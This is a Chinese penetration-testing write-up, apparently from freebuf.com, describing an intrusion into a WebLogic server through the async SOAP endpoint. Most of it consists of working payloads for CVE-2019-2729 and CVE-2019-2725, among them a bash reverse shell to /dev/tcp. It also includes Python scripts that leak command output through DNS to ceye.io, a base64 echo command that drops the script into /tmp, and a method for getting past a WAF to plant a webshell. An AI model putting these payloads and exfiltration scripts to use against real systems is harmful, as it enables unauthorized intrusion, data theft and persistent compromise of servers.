遇到一个weblogic站点:
访问常见的几个路径看是否存在:
/console/login/LoginForm.jsp
/uddiexplorer/SearchPublicRegistries.jsp
/wls-wsat/CoordinatorPortType
/_async/AsyncResponseService
运气爆棚,刚好存在/_async/AsyncResponseService
这个路径:
拿出shack2大神的weblogic RCE工具验证一波:
工具没打成功,猜测可能是被waf拦截。好奇的用自己收集的payload一个一个试,没想到成功执行了一个能获取dnslog记录的payload:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><class><string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string><void><string>http://zdg537uqx2an3qcx104ez2ak6bc10q.burpcollaborator.net</string></void></class></java> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope>
这个是2729的payload,于是就用相应命令执行的payload来执行命令,结果失败了。有大神指点说可以用2725的payload来打:
于是找了去年HW放出来的2725的payload:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action> <wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/ip/port 0>&1</string> </void> </array> <void method="start"/></void> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope>
但是又出现了新的问题,这是一段不能回显命令结果的payload,无奈我又去请教大神,大神给了我思路,可以通过dnslog来获取结果,并且把脚本也给了我:
p.py
:
import os
import sys
import subprocess
def exp(cmd, id):
p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
p.wait()
pipe = p.stdout
i = 100
while True:
result = pipe.read(30)
if not result: break
os.popen('wget --no-dns-cache --tries=1 -T 1 --output-document=/dev/null %s.%s.%s.xxx.ceye.io' % (id, i, result.encode('hex')))
i += 1
exp(sys.argv[1], sys.argv[2])
result.py
:
import requests
import sys
from requests.exceptions import RequestException
from requests.packages.urllib3.exceptions import InsecureRequestWarning
dnslog_exec = u"i2kuwq.ceye.io"
dnslog_exec_api = u"http://api.ceye.io/v1/records?token=xxxxxxxxxx1ae18f473ef27d0a&type=dns&filter={0}"
req = requests.get(dnslog_exec_api.format(sys.argv[1]), timeout=30)
rsp = req.json()
if rsp[u"data"]:
exec_result = list(set([rsp[u"data"][i][u"name"] for i in xrange(len(rsp[u'data']))]))
exec_result.sort()
print (u"".join(map(lambda n: n[4 + 5: -1 - len(dnslog_exec)], exec_result)).decode("hex")).strip()
else:
print u"No output."
思路如下:
1、利用echo命令将p.py
写入到tmp目录下,然后利用python执行代码,通过python脚本执行命令然后将命令结果hex编码请求到dnslog中。
2、本地执行result.py
脚本调用ceyeAPI获取dnslog记录,并hex解码获取结果内容。
写文件:
touch /tmp/pp.py && echo aW1wb3J0IG9zCmltcG9ydCBzeXMKaW1wb3J0IHN1YnByb2Nlc3MKCmRlZiBleHAoY21kLCBpZCk6CiAgICBwID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwc**jZXNzLlBJUEUpCiAgICBwLndhaXQoKQogICAgcGlwZSA9IHAuc3Rkb3V0CiAgICBpID0gMTAwCiAgICB3aGlsZSBUcnVlOgogICAgICAgIHJlc3VsdCA9IHBpcGUucmVhZCgzMCkKICAgICAgICBpZiBub3QgcmVzdWx0OiBicmVhawogICAgICAgIG9zLnBvcGVuKCd3Z2V0IC0tbm8tZG5zLWNhY2hlIC0tdHJpZXM9MSAtVCAxIC0tb3V0cHV0LWRvY3VtZW50PS9kZXYvbnVsbCAlcy4lcy4lcy4wYWN5ZncuY2V5ZS5pbycgJSAoaWQsIGksIHJlc3VsdC5lbmNvZGUoJ2hleCcpKSkKICAgICAgICBpICs9IDEKCmV4cChzeXMuYXJndlsxXSwgc3lzLmFyZ3ZbMl0pCg== | base64 -d >/tmp/pp.py
执行命令:
/usr/bin/python /tmp/pp.py 命令 1234
查看dnslog记录:
本地读取结果:
python2 result.py 1235
最后通过dnslog记录获取到web路径,然后写入webshell文件:
写马过程中遇到的坑:
1、网站存在waf,当POST内容长度超过200就会触发,所以只能通过分段的方式来写入webshell。
2、怀疑之前使用工具进行验证也是由于数据包超长触发waf导致不能执行命令。
3、通过ceye的api接口获取到的dnslog记录不能超过5页,超过5页就会被覆盖。
来源:freebuf.com 2020-04-17 10:43:55 by: Jdicsp
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